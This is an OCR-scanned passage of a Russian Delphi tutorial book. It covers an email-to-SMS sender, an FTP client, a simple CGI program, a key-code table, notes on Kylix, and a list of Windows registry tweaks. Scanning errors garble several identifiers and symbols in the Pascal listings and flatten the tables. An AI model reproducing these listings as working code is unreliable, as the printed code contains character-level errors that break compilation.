Надпись метки
Цвет надписи — красный
Размер шрифта
В правом нижнем углу формы разместите кнопку (компонент But-ton категории Standard), присвоив ее свойству Caption значение От-править.
Для отправки SMS нам понадобится компонент для передачи элек-тронной почты через SMTP. Такой компонент есть на вкладке FastNet иназывается он NMSMTP. Для того чтобы установить некоторые настрой-ки, у вас должен быть собственный адрес электронной почты. Бесплат-ных почтовых серверов в Internet предостаточно, так что с этим проблемвозникнуть не должно.
В рассматриваемом примере будет фигурировать адрес электроннойпочты автора ([email protected]). При желании, все перечислен-ные ниже настройки, конечно же, можно заменить собственными.
Разработка программного кода 153
В свойстве NMSMTP1. Host следует указать smtp-сервер. Для yan-
dex, ru это свойство должно принять значение smtp.yandex.ru.
В свойстве User ID необходимо указать логин отправителя — указыва-
ем heel-adm. Теперь разверните свойство PostMessage и измените
значение вложенного свойства FromAddress на heel-adm@yandex . ru,
a FromName — на hee l-adm. Значение свойства P o r t измените на 25.
Полученная в результате форма должна соответствовать рис. 17.1.
- \а\ х|
Оператор: •
• • Номер: •
<Выберитеоперэтора> 3
11565394
Текст сообщения: •
О Отправить
Рис. 17.1. Форма программы для отправки SMS
Разработка программного кода
HL? Дprocedure TForml.ButtonlClick(Sender: TObject);varnum: string; //адрес получателя
beginNMSMTP1.PostMessage.Body.Clear; //очищаем текст письма//помещаем SMS в текст письмаNMSMTP1.PostMessage.Body.AddStrings(sms.Lines);//проверяем, какого оператора выбрал пользовательcase oper.Itemlndex of
0: num := '38066'+tel.Text+'@sms.jeans.com.ua'; //Джине1: num := '38050'+tel.Text+'@sms.umc.com.ua'; //UMC2: num := '38067'+tel.Text+'@sms.kyivstar.net'; //Киевстар
end;NMSMTP1.PostMessage.ToAddress.Add(num); //адрес получателяNMSMTP1.Connect; //соединяемся с серверомNMSMTP1.SendMail; //отправляем почту
154 Бесплатная отправка SMS через Internet
NMSMTPl.Disconnect; //отсоединяемся от сервера//выводим сообщение об успешной отправкеShowMessage('Сообщение отправлено! '+ num);
I end;
Сначала мы проверяем: какого оператора выбрал пользователь. Ес-ли "Джине", то добавляем перед номером телефона "38066", если"UMC", то добавляем "38050", для "Киевстар" — "38067".
После того как мы узнали номер оператора, добавляем его к вве-денному номеру телефона и затем добавляем все это к адресу сервераоператора. Например, для отправки на номер "Джине" 1565394, делаемсвязку "38066"+" 1565394"+"@sms.jeans.com.ua".
После того как получен электронный адрес для отправки SMS, мысоединяемся с сервером, отправляем письмо и отсоединяемся. Если ни-каких ошибок не произошло, то мы получим сообщение об успешнойотправке.
Для того чтобы пользователь видел, сколько символов он ввел, имог контролировать длину SMS, реализуем подсчет символов при вводесообщение. Для этого следует обработать событие sms .OnChange:I procedure TForml.smsChange(Sender: TObject);
begin//количество введенных символовkolvo.Caption := IntToStr(Length(sms.Text));
end;
Количество введенных символов отображается в метке kolvo. Про-грамма отправки сообщений SMS в действии представлена на рис. 17.2.
SMS-senderОператор: \йжшс[06Б)
Номер: ]1565394
Текст сообщения:
Privet, eto testovaya SMS, nado by udalit'ее srazu...
Test complete! Programma tabotaet!
93 I Отправить |
Рис. 17.2. Программа отправки SMS через Internet в действии
Полный исходный код модуля 155
Полный исходный код модуляПолный код модуля программы отправки S M S через Internet пред-
ставлен в листинге 17.1.
Листинг 17.1. Модуль программы отправки SMS через Internet
I unit Unitl;
! interface
usesWindows, Messages, SysUtils, Variants, Classes, Graphics,Controls, Forms, Dialogs, StdCtrls, Psock, NMsmtp;
typeTForml « class(TForm)
oper: TComboBox;sms: TMemo;Labell: TLabel;Label2: TLabel;tel: TEdit;
Label3: TLabel;Buttonl: TButton;
NMSMTP1: TNMSMTP;kolvo: TLabel;
procedure ButtonlClick(Sender: TObject);procedure smsChange(Sender: TObject);
private
{ Private declarations }public
{ Public declarations }end;
var
Forml: TForml;
implementation
{$R *.dfm}
procedure TForml.ButtonlClick(Sender: TObject);var
num: string; //адрес получателяbegin
NMSMTP1.PostMessage.Body.Clear; //очищаем текст письма//помещаем SMS в текст письма
156 Бесплатная отправка SMS через Internet
Листинг 17.1. Окончание
NMSMTP1.PostMessage.Body.AddStrings(sms.Lines);//проверяем, какого оператора выбрал пользовательcase oper.Itemlndex of0: num := '38066'+tel.Text+'@sms.jeans.com.ua'• //Джине1: num := '38050'+tel.Text+'@sms.umc.com.ua'; //UMC2: num := '38067'+tel.Text+'@sms.kyivstar.net'; //Киевстар
end;NMSMTP1.PostMessage.ToAddress.Add(num); //адрес получателяNMSMTP1.Connect; //соединяемся с серверомNMSMTP1.SendMail; //отправляем почтуNMSMTP1.Disconnect; //отсоединяемся от сервера//выводим сообщение об успешной отправкеShowMessage{'Сообщение отправлено! '+ num) ;
end;
procedure TForml.smsChange(Sender: TObject);begin
//количество введенных символов
kolvo.Caption := IntToStr(Length(sms.Text));end;
end.
Все файлы проекта и исполняемый файл рассмотренной программы находятсяна прилагаемом к книге компакт-диске в папке C h a p t e r 17.
Глава 18
FTP-клиент
Постансвка задачи 157
Постановка задачиРазработать FTP-клиент. Программа должна соединяться с FTP-cep-
вером, проходить аутентификацию и предоставлять пользователю воз-можность работать с файлами, которые находятся на сервере. У пользо-вателя должна быть возможность передавать и получать файлы, созда-вать и удалять каталоги и т.п. Также пользователь может выполнятьсвои собственные команды на сервере.
Разработка формыСоздайте новый проект Delphi. Приготовьтесь к тому, что форма
получится довольно большой (ширина — около 800 пикселей) и будетсодержать большое количество разных кнопок и полей ввода. Присвой-те ей заголовок FTP-client (свойство Caption) и разместите компо-ненты согласно табл. 18.1.
Таблица 18.1. Свойства формы FTP-клиента
Компонент
Labell(категорияStandard)
Label2
Label3
E d i t l(категорияStandard)
Свойство
Capt ion
L e f t
Top
Capt ion
L e f t
Top
Capt ion
L e f t
Top
Name
Text
L e f t
Top
Значение
FTP-сервер
56
16
Имя пользователя
16
48
Пароль
72
80
f t p s e r v e r
f t p . n a r o d . r u
120
8
Пояснение
Надпись метки
Отступ слева
Отступ сверху
Надпись метки
Отступ слева
Отступ сверху
Надпись метки
Отступ слева
Отступ сверху
Новое имя компонента
Адрес FTP-сервера
Отступ слева
Отступ сверху
158 FTP-клиент
Таблица 18.1. Продолжение
Компонент
E d i t 2
E d i t 3
E d i t 4
E d i t 5
E d i t 6
E d i t 7
E d i t 8
E d i t 9
E d i t l O
B u t t o n l
(категория
Standard)
Свойство
Name
Text
L e f t
Top
Name
L e f t
Top
Name
Text
L e f t
Top
Name
L e f t
Top
Name
L e f t
Top
Name
L e f t
Top
Name
L e f t
Top
Name
L e f t
Top
Name
L e f t
Top
Capt ion
L e f t
Top
Значение
name
t e s t 6 0 0 1
120
40
pass
120
72
p o r t
21
120
104
d e l
512
8
cd
512
40
cmd
512
72
md
512
104
r d
512
136
download
512
168
Подключиться
8
144
Пояснение
Новое имя компонента
Имя пользователя
Отступ слева
Отступ сверху
Новое имя компонента
Отступ слева
Отступ сверху
Новое имя компонента
Имя пользователя
Отступ слева
Отступ сверху
Новое имя компонента
Отступ слева
Отступ сверху
Новое имя компонента
Отступ слева
Отступ сверху
Новое имя компонента
Отступ слева
Отступ сверху
Новое имя компонента
Отступ слева
Отступ сверху
Новое имя компонента
Отступ слева
Отступ сверху
Новое имя компонента
Отступ слева
Отступ сверху
Надпись на кнопке
Отступ слева
Отступ сверху
Разработка формы 159
Таблица 18.1. Продолжение
Компонент
Button2
Button3
Button4
Button5
Button6
Button7
Button8
Button9
Memo
(категория
Standard)
Свойство
Caption
Left
T o p
Caption
Left
T o p
Caption
Left
T o p
Caption
Left
T o p
Caption
Left
T o p
Caption
Left
T o p
Caption
Left
T o p
Caption
Left
T o p
Name
Lines
Left
T o p
Height
Width
Значение
Отключиться
123
144
Загрузить файл насервер
512
200
Удалить
672
8
Изменить каталог
672
40
Выполнить команду
672
72
Создать каталог
672
104
Удалить каталог
672
136
Скачать файл
672
168
statusl
Статус:
264
8
217
2 3 3
Пояснение
Надпись на кнопке
Отступ слева
Отступ сверху
Надпись на кнопке
Отступ слева
Отступ сверху
Надпись на кнопке
Отступ слева
Отступ сверху
Надпись на кнопке
Отступ слева
Отступ сверху
Надпись на кнопке
Отступ слева
Отступ сверху
Надпись на кнопке
Отступ слева
Отступ сверху
Надпись на кнопке
Отступ слева
Отступ сверху
Надпись на кнопке
Отступ слева
Отступ сверху
Новое имя компонен-
та, предназначенного
для отображения со-
стояния соединения
Текст в поле
Отступ слева
Отступ сверху
Высота
Ширина
160 FTP-клиент
Таблица 18.1. Окончание
Компонент
O p e n D i a l o g(категорияDialogs)
S a v e D i a l o g
(категория
Dialogs)
NMFTP
(категория
FastNet)
Свойство
Name
Name
Name
Значение
Openl
S a v e l
f t p
Пояснение
Новое имя компонента, которыйбудет использоваться для откры-тия файлов
Новое имя компонента, который
будет использоваться для сохра-
нения файлов
Новое имя главного компонента
программы
Полученная
I Jfc FTPcIleiJt:.:.::: FTP-cepeepi"Pnarodr
:: Имя пользователя И 6 0 0 1
Пароль- !
: Порт : I2 1
форма
Подключиться Отключиться |
:' ЪШЩг
должна
Статус:
соответствовать рис.
ИИИРГJ JFiteName:.К.
• JDirName- JDuNameJFileName
v I '
18.1.
— — '
Здгрузить Файл
- i n l x j
Удалить
Изменить каталог |
Выполнить команду \
Создать каталог
; Удалить каталог
Скачать Файл
на сервер
Рис. 18.1. Форма FTP-клиента
Разработка программного кодаОбработаем нажатия кнопок соединения и отключения от сервера.
для кнопки Подключиться:procedure TForml.ButtonlClick{Sender: TObject);begin
ftp.Host := ftpserver.Text; //ftp-серверftp.UserID := name.Text; //логинftp.Password := pass.Text; // парольftp.Port := StrToInt(port.Text); //порт для подключения//соединяемся с серверомif not ftp.Connected then ftp.Connect;
L e n d ;
Здесь мы считываем все данные, которые необходимы для соедине-ния с сервером. После этого мы пытаемся соединиться с сервером. Обуспешности этой операции можно будет узнать в поле состояния.
Разработка программного кода 161
^ j ^ j ^ j j Отключиться̂| procedure TForml.Button2Click(Sender: TObject);begin
if ftp.Connected then //если соединен
ftp.Disconnect; //отключиться от сервера
end;
Если при нажатии кнопки Отключиться установлено соединение с
сервером, то мы разрываем его.
Теперь обработаем нажатие кнопок, которые служат для работы с
(procedure TForml.Button4Click(Sender: TObject);begin
ftp.Delete(del.Text); //удалить файл
i end; _ _ _ _ _ _ _ _ _ _ _
Здесь мы удаляем файл, имя которого пользователь ввел в поле ря-дом с кнопкой.
нажатие кнопки Изменить каталог:procedure TForml.ButtonSClick(Sender: TObject);begin
ftp.ChangeDir(cd.Text); //изменяем каталог
end;
Устанавливаем текущим тот каталог, который указан в поле cd.
procedure TForml.Button6Click(Sender: TObject);begin
ftp.DoCommand(cmd.Text); //выполнение командыend;
При работе с сервером мы предоставляем пользователю возмож-ность работать не только с помощью команд, предусмотренных в ин-терфейсе, но и выполнять на сервере любые произвольные команды.Для этого у нас есть поле cmd, в котором пользователь вводит команду,и кнопка Выполнить команду, по нажатию которой введенная командавыполняется.
Обработаемprocedure TForml.Button7Click(Sender: TObject);begin
ftp.MakeDirectory(md.Text); //создать каталог
end;
Обработаем нажатие кнопки Удалить каталог:I procedure TForml.Button8Click(Sender: TObject);
11 — 5-1212
162 FTP-клиент
begin
ftp.RemoveDir(rd.Text); //удалить каталог
end;
Обработаем нажатие кнопки Скачать файл;procedure TForml.Button9Click(Sender: TObject);begin
//открытие диалогового окна сохранения файлаif Savel.Executethen //скачиваем указанный файл
ftp.Download(download.Text,savel.FileName)else ShowMessage('File not saved!
1); {если пользователь
отказался сохранять файл}end;
Сначала мы предлагаем пользователю указать имя и путь размеще-ния полученного файла. Затем мы загружаем файл и размещаем его поуказанному пути.
Наконец, обработаем нажатие кнопки Загрузить файл на сервер:procedure TForml.Button3Click(Sender: TObject);var
i: integer;FName, temp: string; //для получения имени файла
beginif not Openl.Execute then ShowMessage('Файл не выбран!')else begin
//очищаем переменные, которые содержат имя файлаtemp := ' ' ;
FName := '';//получаем имя файлаfor i:=Length(Openl.FileName) downto 1 dobegin
if Openl.FileName[i] = 'V then break;temp :• temp + Openl.FileName[i];
end;for i:=Length(temp) downto 1 do
fname := fname + temp[i];
ftp.Upload(Openl.FileName, FName); //загружаем файлend;
end;
Здесь мы сначала просим пользователя выбрать файл, который онхочет передать на сервер. Затем узнаем имя выбранного файла и загру-жаем его на сервер с таким же именем.
В общем, наш ftp-клиент уже полностью работоспособен и выпол-няет все необходимые функции. Единственное, что осталось сделать, —
Разработка программного кода 163
реализовать извещение пользователя о протекании всех операций и обовсех ошибках. Для этого следует создать несколько обработчиков собы-тий компонента f tp.
Событие в случае возникновения ошибки при проверке имени и па-L On Au t h е n t i с a t i о n F a i 1 e d:
procedure TForml.ftpAuthenticationFailed(var Handled:Boolean);
beginstatusl.Lines.Add('Неверное имя или пароль');
|j=md;
Событие при подключении — OnConnect:procedurebegin
statusl
TForml.ftpConnect(Sender
Lines.Add('Подключено');//локальный ip-адресstatusl Lines.Add('IP клиента: '//удаленный ip-адресstatusl
end;Lines.Add('IP сервера: '
: TObject);
+ ftp.LocallP);
+ ftp.RemotelP);
Событие в случае возникновения ошибки при подключении — On-Connect ionFai led:procedurebegin
statusl
end;
TForml
.Lines.
.ftpConnectionFailed(Sender:
Add('He удалось подключиться
TObject);
к серверу');
Событие при отключении от сервера — OnDis connect:procedure TForml.ftpDisconnect(Sender: TObject);
j beginstatusl.Lines.Add('Отключено');
end;
Событие в случае возникновения tprocedure TForml.ftpError(Sender:Errmsg: String);begin
statusl.Lines.Add('Ошибка: ' +end;
TComponent ;
errmsg);
гоки — OnError:Errno: Word;
Событие в случае возникновения ошибки при подключении к сер-вер_у_—Onlrrva I i dHo s t:procedurebegin
statusl
end;
TForml
.Lines.
.ftpInvalidHost
Add('Ошибка при
(var Handled:
подключении
Boolean);
к серверу');
И*
164 FTP-клиент
Событие при изменении состоянияj procedure TForml.ftpStatus(Sender: TComponent;
Status: String);begin
statusl.Lines.Add(Status);
end;
I procedure TForml.ftpSuccess(Trans_Type: TCmdType);begin
statusl.Lines.Add('Успешно') ;; end;
procedure TForml.ftpTransactionStart(Sender: TObject);j begin
statusl.Lines.Add('Начало передачи данных');
procedure TForml.ftpTransactionStop(Sender: TObject);begin
statusl.Lines.Add('Конец передачи данных1);
end;
Теперь программа полностью готова к использованию. Если у васнет собственного Web-сайта, то для тестирования FTP-клиента можетезарегистрировать сайт на бесплатном хостинге.
Полный исходный код модуляПолный код программного модуля FTP-клиента представлен
в листинге 18.1.
Листинг 18.1. Программный модуль FTP-клиента
unit Unitl;
interface
usesWindows, Messages, SysUtils, Variants, Classes, Graphics,Controls, Forms, Dialogs, NMFtp, StdCtrls, Psock;
typeTForml = class(TForm)
ftp: TNMFTP;ftpserver: TEdit;
Полный исходный код модуля 165
Листинг 18.1. Продолжение
Labell: TLabel;Label2: TLabel;name: TEdit;Label3: TLabel;pass: TEdit;Label4: TLabel;port: TEdit;
Buttonl: TButton;Button2: TButton;statusl: TMemo;Button3: TButton;Openl: TOpenDialog;Button4: TButton;del: TEdit;Button5: TButton;cd: TEdit;cmd: TEdit;
Button6: TButton;md: TEdit;
Button7: TButton;rd: TEdit;
Button8: TButton;download: TEdit;
Button9: TButton;Savel: TSaveDialog;procedure ButtonlClick(Sender: TObject);procedure ftpStatus(Sender: TComponent; Status: String);procedure ftpError(Sender: TComponent; Errno: Word;
Errmsg: String);procedure ftpDisconnect(Sender: TObject);procedure ftpConnect(Sender: TObject);procedure ftpConnectionFailed(Sender: TObject);procedure ftpInvalidHost(var Handled: Boolean);procedure ftpSuccess(Trans_Type: TCmdType);procedure ftpTransactionStart(Sender: TObject);procedure ftpTransactionStop(Sender: TObject);procedure ftpAuthenticationFailed(var Handled: Boolean);procedure Button2Click(Sender: TObject)procedure Button3Click(Sender: TObject)procedure FormDestroy(Sender: TObject);procedure Button5Click(Sender: TObject)procedure Button4Click(Sender: TObject)procedure Button6Click(Sender: TObject)procedure Button7Click(Sender: TObject)procedure Button8Click(Sender: TObject)
166 FTP-клиент
Листинг 18.1. Продолжение
procedure Button9Click(Sender: TObject);private
{ Private declarations }public
{ Public declarations }end;
var
Forml: TForml;
implementation
{$R *.dfm}
procedure TForml.ButtonlClick(Sender: TObject);begin
ftp.Host := ftpserver.Text; //ftp-серверftp.UserlD := name.Text; //логинftp.Password := pass.Text; // пароль
ftp.Port := StrToInt (port.Text); //порт для подключения//соединяемся с серверомif not ftp.Connected then ftp.Connect;
end;
procedure TForml.ftpStatus(Sender: TComponent;Status: String);
begin
statusl.Lines.Add(Status) ;end;
procedure TForml.ftpError(Sender: TComponent; Errno: Word;Errmsg: String);begin
statusl.Lines.Add('Ошибка: ' + Errmsg);end;
procedure TForml.ftpDisconnect(Sender: TObject);begin
statusl.Lines.Add('Отключено ' ) ;end;
procedure TForml.ftpConnect(Sender: TObject);begin
statusl.Lines.Add('Подключено' ) ;
Полный исходный код модуля 167
Листинг 18.1. Продолжение
statusl.Lines.Add('IP клиента: ' + ftp.LocallP);statusl.Lines.Add('IP сервера: ' + ftp.RemotelP);
end;
procedure TForml.ftpConnectionFailed(Sender: TObject);
begin
statusl.Lines.Add('He удалось подключиться к серверу');end;
procedure TForml.ftpInvalidHost(var Handled: Boolean);
beginstatusl.Lines.Add('Ошибка при подключении к серверу');
end;
procedure TForml.ftpSuccess(TransJType: TCmdType);
begin
statusl.Lines.Add('Успешно');
end;
procedure -TForml.ftpTransactionStart(Sender: TObject);
begin
statusl.Lines.Add('Начало передачи данных');
end;
procedure TForml.ftpTransactionStop(Sender: TObject);
begin
statusl.Lines.Add('Конец передачи данных');
end;
procedure TForml.ftpAuthenticationFailed(var Handled:
Boolean);
begin
statusl.Lines.Add('Неверное имя или пароль');
end;
procedure TForml.Button2Click(Sender: TObject);
beginif ftp.Connected then //если соединен
ftp.Disconnect; //отключиться от сервера
end;
procedure TForml.Button3Click(Sender: TObject);
vari: integer;FName, temp: string; //для получения имени файла
168 FTP-клиент
Листинг 18.1. Продолжение
I begin
if not Openl.Execute then ShowMessage('Файл не выбран!')
else begin
//очищаем переменные, которые содержат имя файлаtemp : = ' ' ;FName : ̂ ' ';//получаем имя файлаfor i:=Length(Openl.FileName) downto 1 do begin
if Openl.FileName[i] = '\' then break;temp := temp + Openl.FileName[i];
end;for i:"Length(temp) downto 1 do fname := fname + tempfi];ftp.Upload(Openl.FileName, FName); //загружаем файл
end;end;
procedure TForml.FormDestroy(Sender: TObject);begin
if ftp.Connected then ftp.Disconnect;end;
procedure TForml.Button5Click(Sender: TObject);begin
ftp.ChangeDir(cd.Text) ;end;
procedure TForml.Button4Click(Sender: TObject);begin
ftp.Delete(del.Text); //удалить файлend;
procedure TForml.Button6Click(Sender: TObject);begin
ftp.DoCommand(crad.Text); //выполнить командуend;
procedure TForml.ButtonVClick(Sender: TObject);begin
ftp.MakeDirectory(md.Text); //создать каталогend;
procedure TForml.Button8Click(Sender: TObject);begin
ftp.RemoveDir(rd.Text); //удалить каталогend;
Полный исходный код модуля 169
Листинг 18.1. Окончание
procedure TForml.Button9Click(Sender: TObject);begin
//открытие диалогового окна сохранения файлаif Save!.Executethen //скачиваем указанный файл
ftp.Download(download.Text,savel.FileName)else ShowMessage('File not saved!'); (если пользователь
отказался сохранять файл}end;
end.
Все файлы проекта и исполняемый файл рассмотренной программы находятсяна прилагаемом к книге компакт-диске в папке C h a p t e r 18.
170 Написание CGI-приложений
Глава 19
Написание CGI-приложений
Постановка задачиРазработать CGI-сценарий на Delphi. В качестве примера, при акти-
вации через форму сценарий будет выводить определенную фразу.
Разработка проектаК удивлению некоторых программистов, в Delphi можно разраба-
тывать CGI-сценарии. Для примера, разработаем сценарий, при обраще-нии к которому будет создаваться HTML-страница с текстом "Это мойпервый CGI-сценарий".
Поскольку это будет не обычная выполняемая программа, то стан-дартный проект, который по умолчанию предлагает нам Delphi, не под-ходит. Выполните команду меню File -> New -» Other, в результате чегооткроется диалоговое окно New Items (рис. 19.1).
| ' New Items
Projects I Data Modules j Business | WebSnap j WebServicesNew I ActiveX I Multitier j Pfojecr.2 I Forms j Dialogs
• "Application Batch File CIX CLXData CLXFormApplication ModuleCLX Frame Component Control Panel Control PanelApplication Module
•Data Module DLL Wizard Form Frame Package
Г Copy Г Inherit Г ij-.s .••'••',. :
OK j Cancel I Help
Рис. 19.1. Диалоговое окно New Items
Разработка проекта 171
Выберите тип программы Console Application и нажмите кнопку ОК.В появившемся окне сотрите весь текст и введите следу_ющий код:
program c g i _ t e s t ; //название сценария
{$APPTYPE CONSOLE}
{$Е cgi} //расширение приложения будет .cgibegin
//способ отображения - text/htmlWriteLn('Content-Type: text/html');WriteLn;
WriteLn;WriteLn('<HTML>'); //начало страницыWriteLn('<HEAD>•);//заголовокWriteLn('<TITLE>nepBbrii cgi-сценарий на Delphi</TITLE>');
//колировка и тип содержимогоWriteLn('<МЕТА http-equiv="Content-Type" ' +
1content="text/html; charset=windows-1251">');
WriteLn('</HEAD>•);
WriteLn('<BODY>');
WriteLn(' < H 1 X C E N T E R > _ T O МОЙ первый CG_-C4_Haprat</CENTER>'+'</Н1>'); //выводим текст большими жирными буквами
WriteLn('</BODY>');WriteLn('</HTML>');
end.
Откомпилируйте приложение и присвойте ему имя c g i _ t e s t . cgi.Этот CGI-сценарий при обращении к нему создает страницу с заголов-ком "Первый cgi-сценарий на Delphi" и большим текстом на странице:"Это мой первый CGI-сценарий".
Теперь необходимо создать Web-страницу, которая будет обра-щаться к этому сценарию. Создайте файл с расширением . html сле-дующего содержимого:<HTML><HEAD><Т1ТЬЕ>Первый cgi-сценарий на Delphi</TITLE></HEAD><BODY><FORM method="POST" action="cgi/cgi_test.cgi" method="POST"><input type="submit" уа1ие="Вьшолнить">
</FORM>
<р><Ь>Также вы можете выполнять сценарии, просто делая на нихссылку: </b><a href="cgi/cgi_test.сд1">ссылка на cgi-сценарий</а></BODY></HTML>
172 Написание CGI-приложений
Это форма с кнопкой, которая активизирует CGI-сценарий(рис. 19.2).
© П е р в ы й cql сценарий нл Delphi - МогШа I ' k c f m
файл Правка §ид Переход 2акл*Лки инструменты Сврадкг
. • • № "с к http://locatiostycgLtest.htmlCustomize links i Free Hotma» ... Windows , Window» MedU
Выполнить
JBJ xj
0 Перейти |iCi,
Рис. 19.2. Web-страница для вызова CGI-сценария
Для того чтобы протестировать сценарий, необходимо переписатьрассмотренные выше файлы на сервер с поддержкой CGI или устано-вить и настроить собственный Web-сервер (например, Apache). Открывпоказанную Web-страницу, следует нажать кнопку Выполнить илищелкнуть мышью на ссылке.
В ответ должна быть отображена новая страница с текстом "Этомой первый CGI-сценарий" (рис. 19.3).
•КЗПервый cgi-сценарий на Delphi - Mozilla FirefoK
Правка Вид Переход £акладки инструменты Справка
© Перейти jIGJ,.
; Customtee Links \_) Free Hotmail . Windows [jj Windows Media
Это мой первый CGI-сценарий
Рис. 19.3. Страница, выданная CGI-сценарием c g i _ t e s t . c g i
Все файлы рассмотренного проекта находятся на прилагаемом к книге компакт-диске в папке C h a p t e r 19.
173
Приложение А
Коды клавиш и их значения
Коды клавиш в десятичном и шестнадцатеричном представлении, а
также соответствующие константы и функции Ord перечислены в табл. АЛ.
Таблица А.1. Коды клавиш и соответствующие константы
Клавиша
а, А
ь, вс, С
d, D
е, Е
f, F9.G
h, H
I, I
i.Jk, К
I, Lm, M
n, N
o,O
P, Pq,Q
r, R
s, S
t, T
u, Uv, V
w, W
x, X
Код в десятичном
представлении
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
8687
88
Код в шестнадцате-
ричном представлении
$41
$42
$43
$44
$45
$46
$47
$48
$49
$4А
$4В
$4С
$4D
$4Е$4F
$50
$51
$52
$53
$54
$55
$56
$57
$58
КонстантаФункция
ord
ord ( 'Л ' )
o r d ( ' B ' )
o r d ( ' С )
ord (' D' )
o r d ( ' E ' )
o r d C F ' )
o r d ( ' G ' )
o r d ( ' H ' )
o r d C I ' )
ordС J ' )
ordС К')
o r d C L ' )
ord( 'M')
o r d ( ' N ' )
ord ('O' )
ord (' P' )
o r d C Q ' )
o r d ( ' R ' )
o r d ( ' S ' )
o r d l ' T ' )
o r d C U ' )
ord ( ' V )
ordl 'W' )
o r d ( ' X ' )
174 Коды клавиш и их значения
Таблица А.1. Продолжение
Клавиша
У.У
z, Z
0
1
2
3
4
5
6
7
8
9*
+
-
/
F1
F2
F3
F4
F5
F6
F7
F8
F9
F10
пробел
Backspace
Tab
Enter
Shift
Код в десятич-
ном представ-
лении
89
90
96
97
98
99
100
101
102
103
104
105
106
107
109
110
111
112
113
114
115
116
117
118
119
120
121
32
8
9
13
16
Код в шестнадца-
теричном пред-
ставлении
$59
$5А
$60
$61
$62
$63
$64
$65
$66
$67
$68
$69
$6А
$6В
$6D
$6Е
$6F
$70
$71
$72
$73
$74
$75
$76
$77
$78
$79
$20
$8
$9
$0D
$10
Константа
VK NUMPAD0
VK NOMPAD1
VK NUMPAD2
VK NUMPAD3
VK NUMPAD4
VK NUMPAD5
VK NUMPAD6
VK NUMPAD>
VK NUMPAD8
VK NUMPAD9
VK MULTIPLY
VK ADD
VK SUBTRACT
VK DECIMAL
VK DIVIDE
VK F l
VK F2
VK F3
VK F4
VK F5
VK F6
VK F7
VK F8
VK F9
VK F 1 0
VK SPACE
VK BACK
VK TAB
VK RETURN
VK SHIFT
Функция
ord
o r d e r )
ord(' Z' )
175
Таблица А.1. Окончание
Клавиша
Ctrl
Alt
CapsLock
Esc
Insert
PageUp
PageDown
End
Home
<—
t—>1
Delete
PrintScreen
ScrollLock
Pause
Numlock
Код в деся-
тичном пред-
ставлении
17
18
20
27
45
33
34
35
36
37
38
39
40
46
44
145
19
144
Код в шестнадцате-
ричном представле-
нии
$11
$12
$14
$1В
$2D
$21
$22
$23
$24
$25
$26
$27
$28
$2Е
$2С
$91
$13
$90
Константа
VK CONTROL
VK MENU
VK CAPITALE
VK ESCAPE
VK INSERT
VK PRIOR
VK NEXT
VK END
VK HOME
VK LEFT
VK UP
VK RIGHT
VK DOWN
VK DELETE
VK SNAPSHOT
VK SCROLL
VK PAUSE
VK NUMLOCK
Функция
ord
176 Kylix — Delphi для Linux
Приложение Б
Kylix — Delphi для Linux
В 2001 году компания Borland International, разработавшая Delphi,выпустила продукт под названием Kylix, Kylix— это среда быстройразработки приложений для Linux. Интерфейсом она почти ничем неотличается от привычного Delphi, а язык программирования, которыйиспользует Kylix просто не может не радовать — это Object Pascal. Ко-роче говоря, Kylix — это тот же Delphi, только для ОС Linux. Корпора-ция Borland предлагает два основных варианта Kylix: Kylix Desktop De-veloper и Kylix Server Developer. Наиболее полной версией по возмож-ностям и функциональности является Kylix Server Developer.
Существует возможность переносить программы из Delphi в Kylix(само собой, если у программ нет привязки к ОС — например, исполь-зования функций WinApi). Стоит сказать несколько слов о совместимо-сти и переносимости исходных кодов программ с Delphi в Kylix. Как из-вестно, в Delphi используется библиотека классов VCL. Для Kylix этабиблиотека называется CLX (библиотека компонентов для кросс-платформенной разработки). Впрочем, они довольно совместимы, и вVCL присутствует почти полная поддержка библиотеки классов CLX.
Еще одно небольшое отличие заключается в расширении файлов,содержащих описание форм. В Delphi эти файлы имеют расширение*. dfm, а в Kylix — * . xfm. Это не создает особых неудобств, простов программах следует изменить директиву {$R . dfm} на {$R . xfm}.
В Kylix, в отличие от Delphi, отсутствует возможность работы с ба-зами данных BDE и ADO. Отсутствует поддержка ActiveX, COM иCORBA. Невзирая на все перечисленные недостатки и аспекты несо-вместимости с Delphi, Kylix является довольно удобной средой про-граммирования. Тот кто программирует на Delphi, сможет перейти наKylix без особых затруднений.
Общая настройка ПК 177
Приложение В
Справочник по реестру Windows
Ниже описаны интересные ключи системного реестра Windows. Ихможно изменять программно или вручную, используя стандартную про-грамму для работы с реестром r e g e d i t . exe. Используя эти ключи рее-стра, можно расширить шаблон программы для настройки Windows,рассмотренный в главе 12.
Общая настройка ПК
Изменение разрешения экрана
Для изменения разрешения экрана (например, на 800x600) следуетвнести следующие изменения в реестр:
Ключ:[HKEY_LOCAL_MACHINE\Config\0001\Display\Settings].
Значение ключа:"Resolution" = "800, 600"
Установка задержки перед появлением контекстногоменю
Для того чтобы установить задержку появления контекстного менюв 10 миллисекунд следует создать такой ключ:
[HKEY_CURRENT__USER\Control Panel\desktop]
"MenuShowDelay"="10"
Сокрытие изображение стрелки на ярлыках
Для того чтобы убрать изображение стрелки на ярлыках, создайтеследующие два ключа:
[HKEY_CLASSES_ROOT\piffile]
"IsShortcut"=""
[HKEY_CLASSES__ROOT\lnkfile]
"IsShortcut"=""
12 — 5-1212
178 Справочник по реестру Windows
Сокрытие приставки "Ярлыкдля..."
Для того чтобы у создаваемых ярлыков не было приставки "Ярлыкдля...", измените следующий ключ:
[HKEY_CURRENT_USER\Software\Microsoft\Windows\Current
Version\Explorer]
"LinkM=hex:00,00,00,00
Запрет на редактирование реестра
Ключ:[HKEY_CURRENT_USER\Software\Microsoft\Windows\Current
Version\Policies\System]
Значение:"DisableRegistryTools"=dword:00000001
Отключение динамика ПК
Ключ:[HKEY_CURRENT_USER\Control Panel\Sound]
Значение:"Beep"="No"
Включение динамика ПК
Ключ:[HKEY_CURRENT_USER\Control Panel\Sound]
Значение:"Beep"="Yes"
Отключение возможности автозапуска с CD-ROM
Ключ:[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services
\CDRom]
Значение:"Autorun"=dword:00000000
Общая настройка ПК 179
Отключение всплывающих подсказок в Проводнике и наРабочем столе
Ключ:[HKEY_CURRENT__USER\Software\Microsoft\Windows\Current
Version\Explorer\Advanced]Значение:"ShowInfoTip"=dword:00000000
Автоматическое наведение указателя мыши на активнуюкнопку
Ключ:[HKEY_CURRENT_USER\ControlPanel\Mause]Значение:"SnapToDefaultButton"="l"
